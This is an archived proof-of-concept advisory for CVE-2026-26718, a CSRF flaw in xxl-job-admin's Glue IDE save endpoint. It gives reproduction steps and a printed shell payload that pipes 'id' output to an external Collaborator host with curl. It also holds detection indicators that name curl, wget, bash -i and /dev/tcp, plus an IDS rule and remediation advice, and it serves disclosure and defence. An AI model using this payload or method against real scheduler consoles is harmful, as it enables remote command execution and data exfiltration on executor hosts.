xxl-job-admin CSRF in the Glue IDE Script Save Endpoint (CVE-2026-26718)
Published: 2026-11-27 • Researcher: Ibrahim Sartawi (GitHub Ibrahim-Sartawi)
- Severity
- Critical
- CVE
- CVE-2026-26718
- Category
- web
- Affected product
- XXL-JOB admin console (xxl-job-admin), Glue IDE job code editor
- Affected versions
- xxl-job-admin 3.0.0 confirmed by NVD; the upstream repository states all versions before 3.4.0
- Disclosed
- 2026-11-27
- Patch status
- Patched
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-15 (upstream commit by Ibrahim-Sartawi, “Update credits section in README.md”) |
| Author / Researcher | Ibrahim Sartawi (GitHub Ibrahim-Sartawi) |
| CVE / Advisory | CVE-2026-26718 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.1 (NVD CVSSv3, as recorded in the batch; the batch record does not include the vector string) |
| Status | PoC |
| Tags | CSRF, xxl-job, Glue IDE, job scheduler, shell, RCE, CWE-352 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | XXL-JOB admin console (xxl-job-admin), Glue IDE job code editor |
| Versions Affected | xxl-job-admin 3.0.0 confirmed by NVD; the upstream repository states all versions before 3.4.0 |
| Language / Platform | Java (Spring MVC) server; the payload runs in the administrator’s browser |
| Authentication Required | Yes — the victim must be logged in to xxl-job-admin |
| Network Access Required | Yes — the victim must load the attacker-controlled page and reach the admin console |
Summary
The xxl-job-admin Glue IDE save endpoint accepts job code updates without validating a CSRF token and without restricting the HTTP method, so a page on any other origin can submit a change on behalf of a logged-in administrator. The upstream PoC is a self-submitting HTML form that overwrites the shell source of an existing Glue job with a script that runs id and exfiltrates the output to a Burp Collaborator domain. Because Glue shell jobs are executed by xxl-job executors, the change gives the attacker command execution on every executor that runs the job, not merely control of the scheduler UI. The attack needs the administrator to visit the page while authenticated, but no other interaction and no knowledge of the administrator’s password.
Vulnerability Details
Root Cause
The admin console exposes /jobcode/save through a permissive Spring request mapping that has no method restriction and no CSRF token check. Job code changes are authenticated only by the session cookie, so a cross-site request that carries that cookie is accepted as a legitimate update. The handler binds the id, glueSource and glueRemark request parameters directly to the job’s Glue source and persists them, which means the request body is fully attacker-controlled and the stored value becomes executable content on the executor side.
Attack Vector
An attacker hosts a page containing an HTML form that targets https://target/jobcode/save with hidden fields for an existing Glue job id, the replacement glueSource and a remark, plus JavaScript that calls form.submit(). When an authenticated administrator opens the page, the browser sends the request with the admin session cookie. The upstream form omits the method attribute, so the browser issues a GET request with the parameters in the query string; the permissive mapping processes it anyway. Any deployment that rejects GET can be handled by adding method=“POST” to the form.
Impact
Arbitrary modification of Glue job source, which the xxl-job executor runs as a shell script with its own operating-system privileges. The PoC script runs id and posts the output to an attacker-controlled Collaborator endpoint, which demonstrates both command execution and outbound exfiltration. In a real intrusion the same primitive allows a reverse shell, data theft, lateral movement from the executor host, or a persistent scheduled job that re-establishes access. The scheduler database and all jobs managed by the instance should be considered compromised once the source is changed.
Environment / Lab Setup
OS: Linux host for xxl-job-admin and the executors; any OS with a browser for the victim
Target: xxl-job-admin 3.0.0 (source or container) with MySQL and at least one Glue (Shell) job
Attacker: A host serving the CSRF page, plus a Burp Collaborator or other OAST listener
Tools: JDK 8+, Maven, MySQL 5.7/8.0, a browser, python3 -m http.serverSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Customize the payload — set the form action to the target console, set id to an existing Glue job, and replace domain.com with the real host. The glueSource value is HTML-entity encoded so that the decoded script contains real newlines and shell metacharacters.
Host the page on any origin the victim can reach.
Shell script1 2python3 -m http.server 8000 --directory pocs/web/2026-11-27_cve-2026-26718-xxl-job # victim opens http://attacker.lab:8000/exploit.htmlGet the administrator to open the page while logged in to xxl-job-admin. The script submits the form immediately and replaces the browser history entry so the request is less obvious.
Confirm the write — reload the job’s Glue IDE page in the console; the shell source now contains the injected script and the remark is 12345.
Trigger execution — run the job once from the console or wait for its schedule. The executor runs the shell source and posts the output of id to the Collaborator endpoint.
Exploit Code
See
exploit.htmlin this folder for the complete self-submitting form (transcribed verbatim from the upstream README).
| |
After entity decoding the glueSource value is:
| |
Expected Output
The upstream repository provides screenshots instead of a captured transcript, so the following is the expected sequence rather than an observed run:
GET /jobcode/save?id=294&glueSource=%23%21%2Fbin%2Fbash...&glueRemark=12345 HTTP/1.1
Host: target
Cookie: XXL_JOB_LOGIN_IDENTITY=...
Referer: http://attacker.lab:8000/exploit.html
#!/bin/bash
id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com
exit 0
HTTP request received from executor-ip
POST / HTTP/1.1
uid=0(root) gid=0(root) groups=0(root)Detection & Indicators of Compromise
GET or POST /jobcode/save carrying glueSource that contains a shebang,
curl, wget, bash -i, /dev/tcp, base64 or an external hostname
/jobcode/save requests whose Referer is not the admin console origin
Requests to /jobcode/save without a CSRF token where the deployment expects one
Unusually long query strings on /jobcode/save (GET form submission)
Glue source or remark changes that were not made through a normal admin session
New or modified scheduled jobs created just before an execution burst
Executor hosts resolving or contacting collaborator or other OAST domains
Outbound POSTs from executor hosts to unfamiliar external endpoints
Shell process trees on executors where xxl-job executes Glue scriptsSIEM / IDS Rule (example):
alert http any any -> any any (msg:"xxl-job Glue CSRF save with shell payload (CVE-2026-26718)"; flow:to_server,established; content:"/jobcode/save"; http_uri; content:"glueSource"; http_uri; pcre:"/glueSource=[^&]*(%23%21|%2Fbin%2F|curl|wget)/i"; classtype:web-application-attack; sid:9026718; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to xxl-job 3.4.0 or later, where the Glue code save path is protected against cross-site requests; verify with the vendor release notes before relying on a version number. |
| Workaround | Restrict the admin console to trusted networks or a VPN, set the session cookie to SameSite=Lax or Strict if the framework supports it, and put a reverse proxy in front of /jobcode/save that requires a POST with a same-origin Referer. |
| Config Hardening | Do not expose xxl-job-admin to the internet; run executors as low-privilege accounts; restrict executor egress to required destinations; enable audit logging on job and Glue changes and alert on source edits; rotate the default admin password. |
References
Notes
Review verdict: ingested as a PoC. The repository contains a concrete, non-malicious CSRF payload — a self-submitting form that rewrites a Glue shell job — rather than a scanner, version audit or a placeholder. There is no C2, persistence, evasion or credential-stealing code: the injected script only runs id and posts the result to a Collaborator domain as proof of execution. A caveat for reviewers: the repository has a single README.md and the payload lives inside it, so the exploit artifact was transcribed verbatim into exploit.html rather than copied from a separate source file.
License: the upstream repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived HTML keeps the upstream payload unchanged apart from a research-use and source comment; the upstream README is copied verbatim as upstream-README.md.
Limitations: the payload hardcodes job id 294 and the domain.com placeholder; the job id must exist on the target instance and the attacker must know or guess it. Exploitation depends on the administrator opening the page in a browser that already holds a valid admin session, and on the deployment accepting GET for /jobcode/save (the form omits the method attribute; add method=“POST” if the target rejects GET or caps query-string length). The upstream README presents four screenshots hosted on GitHub user-attachments rather than a text transcript, so no run output is archived and the payload was not executed while preparing this entry; Status is therefore PoC, not Weaponized. The claim that the endpoint accepts arbitrary HTTP methods comes from the upstream description and NVD and was not independently verified against a live instance here. The Collaborator subdomain in the payload belongs to the original researcher and should be replaced for any authorized test.
| |